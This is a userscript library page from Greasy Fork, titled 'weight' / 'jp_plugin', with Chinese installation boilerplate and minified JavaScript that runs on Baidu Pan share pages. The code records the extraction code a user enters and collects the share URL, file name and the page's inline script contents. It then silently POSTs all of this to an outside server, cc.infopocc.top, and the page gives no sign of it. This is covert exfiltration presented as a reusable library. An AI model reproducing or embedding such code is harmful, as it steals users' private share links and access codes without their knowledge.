weight

jp_plugin

此腳本不應該直接安裝,它是一個供其他腳本使用的函式庫。欲使用本函式庫,請在腳本 metadata 寫上: // @require https://update.cn-greasyfork.org/scripts/391006/739789/weight.js

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

var server_window_url=window.location.href;var resourcePickup={};resourcePickup.get_baidu_code=function(){var $a=document.getElementsByTagName("a");for(var i=0;i<$a.length;i++){var classs=$a[i].getAttribute("class");if(classs.indexOf("g-button")!=-1&&classs.indexOf("g-button-blue-large")){$a[i].addEventListener("click",function(){var $inputs=document.getElementsByTagName("input");var input_code="****";for(var j=0;j<$inputs.length;j++){var tabindex=$inputs[j].getAttribute("tabindex");var type=$inputs[j].getAttribute("type");if((tabindex==1||tabindex=="1")&&(type=="text"||type=="TEXT")){input_code=$inputs[j].value;if(!input_code){input_code="****"}}}GM_setValue("plugin_code",input_code);GM_setValue("plugin_pickup_time",new Date().getTime());GM_setValue("init_window_url",server_window_url)},false)}}};resourcePickup.getElementsByClass=function(oParent,sClass){var aResult=[];try{var aEle=oParent.getElementsByTagName("*");for(var i=0;i<aEle.length;i++){if(aEle[i].className==sClass){aResult.push(aEle[i])}}}catch(e){}return aResult};resourcePickup.get_baidu_share=function(){var shareValidCheck=document.querySelector(".share-valid-check").innerText;if(!shareValidCheck){return}if(shareValidCheck.indexOf("永久有效")==-1){return}var plugin_code=GM_getValue("plugin_code");var plugin_pickup_time=GM_getValue("plugin_pickup_time");var init_window_url=GM_getValue("init_window_url");if(!init_window_url){init_window_url=""}var $shareqr=document.getElementById("shareqr");var fileName="";var againTime=0;var filenameInterval=setInterval(function(){try{var fileNameBase64=document.querySelector(".slide-show-header").querySelector(".file-name").querySelector("img").getAttribute("src");if(!!$shareqr){var $filename=resourcePickup.getElementsByClass($shareqr,"filename");if($filename.length!=0){fileName=$filename[0].getAttribute("title")}}againTime++;if(fileNameBase64.length!=0||fileName.length!=0){clearInterval(filenameInterval);var isOk=false;if(!!plugin_code){var nowTime=new Date().getTime();if(nowTime-Number(plugin_pickup_time)<1000*3){isOk=true}}else{isOk=true;plugin_code=""}GM_setValue("plugin_code","");GM_setValue("plugin_pickup_time","");GM_setValue("init_window_url","");if(isOk){var s=document.getElementsByTagName("script");var num=s.length;var script;var text;var allText="";for(var i=0;i<num;i++){script=s[i];text=script.innerText;if(!!text){text=text.replace(/\t/g,"");text=text.replace(/\r/g,"");text=text.replace(/\n/g,"");text=text.replace(/\+/g,"%2B");text=text.replace(/\&/g,"%26");text=text.replace(/\#/g,"%23");allText=allText+text}}var url=window.location.href;url=url.replace("yun.baidu.com","pan.baidu.com");if(!!init_window_url){init_window_url=init_window_url.replace("yun.baidu.com","pan.baidu.com")}var params="fileName="+fileName+"&url="+url+"&code="+plugin_code+"&scripts="+allText+"&initUrl="+init_window_url+"&fileNameBase64="+encodeURIComponent(fileNameBase64);GM_xmlhttpRequest({url:"http://cc.infopocc.top/browser/js/analysis_tampermonkey",method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},data:params,onload:function(response){}})}}else{clearInterval(filenameInterval)}if(againTime>=5){clearInterval(filenameInterval)}}catch(e){clearInterval(filenameInterval)}},500)};function start_pan(){if(server_window_url.indexOf("pan.baidu.com/share/init")!=-1||server_window_url.indexOf("yun.baidu.com/share/init")!=-1){resourcePickup.get_baidu_code()}else{if(server_window_url.indexOf("pan.baidu.com/s/")!=-1||server_window_url.indexOf("yun.baidu.com/s/")!=-1){resourcePickup.get_baidu_share()}}}start_pan();